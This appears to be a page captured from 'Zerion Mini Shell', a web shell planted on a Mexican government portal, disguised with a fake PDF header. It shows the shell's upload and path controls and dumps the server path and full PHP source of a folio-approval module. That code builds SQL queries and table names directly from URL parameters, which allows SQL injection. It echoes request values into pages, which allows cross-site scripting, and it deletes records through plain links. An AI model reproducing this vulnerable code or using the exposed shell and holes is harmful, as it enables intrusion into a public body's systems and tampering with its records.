%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/sisofi/modules/consul/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/sisofi/modules/consul/folios.php

<br />
<?php

function formatMoneda($number) 
{

        while (true) {
            $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
            if ($replaced != $number) {
                $number = $replaced;
            } else {
                break;
            }
        }
        return '$'.$number;
} 

if(isset($_GET['action']))
{
    if($_GET['action'] == "ver")
	{
		$rol = $_SESSION['rol'];
		$reg = $_GET['reg'];
        ?>
	<div class="content">
    	<div class="titulo">Consultar Folio <?php echo $_GET['folio']; ?></div>
        <?php
			if(isset($_GET['reg']))
			{
				if($_GET['reg'] == "men")
				{
			?>
        			<div class="cfmenu"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=cpfecha&reg=men"><img src="images/back.png" width="20" height="20" /> Regresar</a></div>
        <?php
				}
				else if($_GET['reg'] == "esc")
				{
		?>
					<div class="cfmenu"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=null"><img src="images/back.png" width="20" height="20" /> Regresar</a></div>
        <?php
				}
				else
				{
		?>
					<div class="cfmenu"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=folios"><img src="images/back.png" width="20" height="20" /> Regresar</a></div>
        <?php	
				}
			}
		?>
        <br>
    	<div><b>Generales</b></div>
    <?php
        $tbl = $_GET['tabla'];
        $flio = $_GET['folio'];
		$reg = $_GET['reg'];
        $sqlF = mysql_query("SELECT * FROM folios WHERE folio='$flio'");
        $f = mysql_fetch_array($sqlF);
        echo "<div style='width: 50%;'>";
        echo "<table class='tablas'>";
        echo "<tr>";
        echo "<td class='ctab'>";
        echo "Folio";
        echo "</td>";
        echo "<td>";
        echo $f['folio'];
        echo "</td>";
        echo "</tr>";
        echo "<tr>";
        echo "<td class='ctab'>";
        echo "Año";
        echo "</td>";
        echo "<td>";
        echo $f['year'];
        echo "</td>";
        echo "</tr>";
        echo "<tr>";
        echo "<td class='ctab'>";
        echo "Temporalidad";
        echo "</td>";
        echo "<td>";
        $tempo = $f['tempo'];
		$sTempo = mysql_query("SELECT * FROM a_temp WHERE id='$tempo'") or die(mysql_error());
        $dTempo = mysql_fetch_row($sTempo);
        echo $dTempo['2'];
        echo "</td>";
        echo "</tr>";
        echo "<tr>";
        echo "<td class='ctab'>";
        echo "Fecha";
        echo "</td>";
        echo "<td>";
        echo $f['fecha'];
        echo "</td>";
        echo "</tr>";
        echo "</table>";
        echo "</div>";
        echo "<br />";
        echo "<div><b>Datos</b></div>";
		echo "<br />";
?>
		<div class="cfmenu"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=folios_add&edit=add&folio=<?php echo $f['folio'] ?>&tabla=<?php echo $f['tabla'] ?>&reg=<?php echo $reg ?>">
<img src="images/plus.png" width="20" height="20" /> Agregar Registro</a></div>
<br>
<?php
        echo "<table class='tablas'>";
        $columnas = mysql_query("SHOW COLUMNS FROM $tbl");
            echo "<tr>";
            $icount = 0;
			if ($rol != 3)
			{
				echo "<td class='ctab'>";
				echo "</td>";
				
				echo "<td class='ctab'>";
				echo "</td>";
			}
            while($fila = mysql_fetch_array($columnas)){
                if($icount > 0)
                {
                    echo "<td class='ctab'>";
					echo  $fila['Field'];
                    echo "</td>";
                }    
                $icount++;
            }
            echo "<tr>";
        $senFo = mysql_query("SELECT * FROM $tbl WHERE Folio='$flio'") or die(mysql_error());
        $senTr = mysql_num_fields($senFo);

        while($d = mysql_fetch_row($senFo))
		{
            echo "<tr>";
			if ($rol != 3)
			{
            ?>
            
            <td>
                <div class="caja"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=folios_edit&edit=edit&folio=<?php echo $f['folio'] ?>&id=<?php echo $d[0] ?>&tabla=<?php echo $f['tabla'] ?>&reg=<?php echo $reg ?>"><img src="images/pencil.png" width="20" height="20" /><span class="info">Modificar</span></a></div>
            </td>
            <td>
                <div class="caja"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=folios_edit&edit=borrar&folio=<?php echo $f['folio'] ?>&id=<?php echo $d[0] ?>&tabla=<?php echo $f['tabla'] ?>&reg=<?php echo $reg ?>"><img src="images/minus.png" width="20" height="20" /><span class="info">Borrar</span></a></div>
            </td>
            
            <?php
			}
            for($i=1;$i<$senTr;$i++)
			{
				$link = substr($d[$i], 0, 4);
				if(is_numeric($d[$i]))
				{
					$decimal = explode('.', $d[$i]);
					if(count($decimal) > 1)
					{
						$valor = formatMoneda($decimal[0].'.'.substr($decimal[1], 0, 2));	
						echo "<td>".$valor."</td>";
					}
					else
						echo "<td>".$d[$i]."</td>";
				}
				else if($link == "http")
				{
                	echo "<td><a href='".$d[$i]."' target='_blank'>Ver documento</a></td>";
                }
				else
				{
                    echo "<td>".$d[$i]."</td>";
                }
            }
            echo "<tr>";
        }   

        echo "</table>";
        echo "<br />";
    ?>
	<br/>

<div class="cfmenu"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=folios_add&edit=add&folio=<?php echo $f['folio'] ?>&tabla=<?php echo $f['tabla'] ?>&reg=<?php echo $reg ?>">
<img src="images/plus.png" width="20" height="20" /> Agregar Registro</a></div>
<br>

    <?php
		if($_SESSION['rol'] < 2)
		{
	?>
    		<input type="button" value="Aprobar" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=folios&action=aprobar&folio=<?php echo $_GET['folio']; ?>&tabla=<?php echo $f['tabla'] ?>';" />
    <?php
		}
		if(isset($_GET['reg']))
			{
				if($_GET['reg'] == "men")
				{
	?>
    				<input type="button" value="Regresar" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=cpfecha&reg=men';" />
	</div>
<?php
				}
				else if($_GET['reg'] == "esc")
				{
?>
					<input type="button" value="Regresar" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=null';" />
	</div>
<?php				
				}
				else
				{
?>
					<input type="button" value="Regresar" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=folios';" />
	</div>
<?php
				}
			}
    }
    if($_GET['action'] == "borrar")
	{
		$tbl = $_GET['tabla'];
        $flio = $_GET['folio'];
		$idus = $_SESSION['idus'];
		
		$sqlF = mysql_query("SELECT * FROM folios WHERE folio='$flio'");
        $f = mysql_fetch_array($sqlF);
		$afolio = $f['year'];
		$apro = $f['apro'];
		$ffolio = $f['fecha'];
		$tmp = $f['tempo'];
		
        $sqlAp = mysql_query("DELETE FROM folios WHERE folio='$flio'");
		$senFo = mysql_query("DELETE FROM $tbl WHERE Folio='$flio'");
		
        if($sqlAp && $senFo)
		{
			$sqlF = mysql_query("INSERT INTO bitacora (fecha, folio, year, tabla, fechafolio, tempo, apro, accion, idus) VALUES (NOW(), '$flio', '$afolio', '$tbl', '$ffolio', '$tmp', '$apro', 'Borrar Folio', '$idus')");
			
            echo "<div class='msg'>El folio ha sido eliminado exitosamente</div>";
?>
<meta http-equiv="refresh" content="1;URL=index.php?token=<?php echo $_GET['token']; ?>&mod=folios" />
<?php
    	}
    }
	if($_GET['action'] == "aprobar")
	{
		$tbl = $_GET['tabla'];
        $flio = $_GET['folio'];
		$idus = $_SESSION['idus'];
		
		$sqlF = mysql_query("SELECT * FROM folios WHERE folio='$flio'");
        $f = mysql_fetch_array($sqlF);
		$afolio = $f['year'];
		$apro = $f['apro'];
		$ffolio = $f['fecha'];
		$tmp = $f['tempo'];
		
        $sqlAp = mysql_query("UPDATE folios SET apro='Y' WHERE folio='$flio'");
		
        if($sqlAp)
		{
			$sqlF = mysql_query("INSERT INTO bitacora (fecha, folio, year, tabla, fechafolio, tempo, apro, accion, idus) VALUES (NOW(), '$flio', '$afolio', '$tbl', '$ffolio', '$tmp', '$apro', 'Aprobar Folio', '$idus')");
            echo "<div class='msg'>El folio ha sido aprobado exitosamente</div>";
            ?>
<meta http-equiv="refresh" content="1;URL=index.php?token=<?php echo $_GET['token']; ?>&mod=folios" />
<?php
        }
    }
} 
else 
{
?>
<div class="content">
    <div class="titulo">Consultar Folios Pendientes</div>
    <br />
    <br />
    <br />
	<?php
		$idus = $_SESSION['idus'];
		$rol = $_SESSION['rol'];
		if ($rol == 2)
		{
        	$sFolios = mysql_query("SELECT * FROM folios WHERE apro='N' AND idus='$idus'") or die(mysql_error());
		}
		else
		{
			$sFolios = mysql_query("SELECT * FROM folios WHERE apro='N'") or die(mysql_error());
		}
	?>
     <table id="example" class="display" cellspacing="0" width="100%">
		<thead>
                <tr>
                    <th class="ctab">Folio</th>
                    <th class="ctab">Usuario</th>
                    <th class="ctab">Formato</th>
                    <th class="ctab">Temporalidad</th>
                    <th class="ctab">Año</th>
            		<th class="ctab">Fecha</th>
            		<th class="ctab">Acciones</th>
                </tr>
        </thead>
        <tfoot>
                <tr>
                    <th class="ctab">Folio</th>
                    <th class="ctab">Usuario</th>
                    <th class="ctab">Formato</th>
                    <th class="ctab">Temporalidad</th>
                    <th class="ctab">Año</th>
            		<th class="ctab">Fecha</th>
            		<th class="ctab">Acciones</th>
                </tr>
        </tfoot>
        <tbody>
        <?php
        while($f = mysql_fetch_array($sFolios))
		{
        ?>
        <tr>
            <td><?php echo $f['folio']; ?></td>
            <td>
                <?php
            $idus = $f['idus'];
            $sUser = mysql_query("SELECT * FROM sys_usus WHERE idus='$idus'") or die(mysql_error());
            $dUser = mysql_fetch_row($sUser);
            echo $dUser['1'];
                ?>
            </td>
            <td>
                <?php
            $table = $f['tabla'];
            $sTable = mysql_query("SELECT * FROM formatos WHERE tabla='$table'") or die(mysql_error());
            $dTable = mysql_fetch_row($sTable);
            echo $dTable['1'];
                ?>
            </td>
            <td>
            <?php
			$tempo = $f['tempo'];
			$sTempo = mysql_query("SELECT * FROM a_temp WHERE id='$tempo'") or die(mysql_error());
            $dTempo = mysql_fetch_row($sTempo);
            echo $dTempo['2'];
                ?>
            </td>
            <td><?php echo $f['year']; ?></td>
            <td><?php echo $f['fecha']; ?></td>
            <td>
                <input type="button" value="Ver" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=folios&action=ver&folio=<?php echo $f['folio'] ?>&tabla=<?php echo $f['tabla'] ?>&reg=fol';" /> <?php if ($rol != 3)
		{
			?><input type="button" value="Borrar" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=folios&action=borrar&folio=<?php echo $f['folio'] ?>&tabla=<?php echo $f['tabla'] ?>';" />
            <?php 
			}
			?>
            </td>
        </tr>
        <?php
        }
        ?>
	</tbody>
    </table>
    
        <br/>
	<input type="button" value="Escritorio" onclick="window.location.href='index.php?token=<?php echo $_GET['token']; ?>&mod=null';" />

<script>
                $(document).ready(function() {
                    $('#example').DataTable(
					{
						"language": 
						{
							"sProcessing":     "Procesando...",
							"sLengthMenu":     "Mostrar _MENU_ registros",
							"sZeroRecords":    "No se encontraron resultados",
							"sEmptyTable":     "Ningún dato disponible en esta tabla",
							"sInfo":           "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros",
							"sInfoEmpty":      "Mostrando registros del 0 al 0 de un total de 0 registros",
							"sInfoFiltered":   "(filtrado de un total de _MAX_ registros)",
							"sInfoPostFix":    "",
							"sSearch":         "Buscar:",
							"sUrl":            "",
							"sInfoThousands":  ",",
							"sLoadingRecords": "Cargando...",
							"oPaginate": {
								"sFirst":    "Primero",
								"sLast":     "Último",
								"sNext":     "Siguiente",
								"sPrevious": "Anterior"
							},
							"oAria": {
								"sSortAscending":  ": Activar para ordenar la columna de manera ascendente",
								"sSortDescending": ": Activar para ordenar la columna de manera descendente"
							}
						}	
					});
                } );
        </script>
        <br>
<?php
}
?>
</div>

Zerion Mini Shell 1.0